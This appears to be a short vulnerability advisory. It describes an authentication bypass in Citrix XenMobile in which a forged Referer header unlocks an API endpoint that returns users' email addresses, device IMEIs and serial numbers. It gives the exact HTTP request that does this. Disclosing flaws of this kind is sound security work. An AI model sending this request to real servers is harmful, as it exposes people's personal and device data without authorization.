Data about users and devices, including email addresses and IMEI identifiers, can be obtained without authentication by making API calls:
GET /zdm/rs/xdmServices/autoAction/execution/list HTTP/1.1
Host: xenmobile.example.com
Referer: https://xenmobile.example.com/zdm/cxf/xdmServices/login.jsp
Xen will return data which includes the following information about each user:
actionData, activationDate, createdDate, deviceId, deviceImei, deviceSerial, id, model, osFamily, provisioningId, status, triggerData, userName
This is possible because XenMobile uses the Referer header to control access to the API. However, this value is fully in control of the attacker, so is an ineffective authentication mechanism.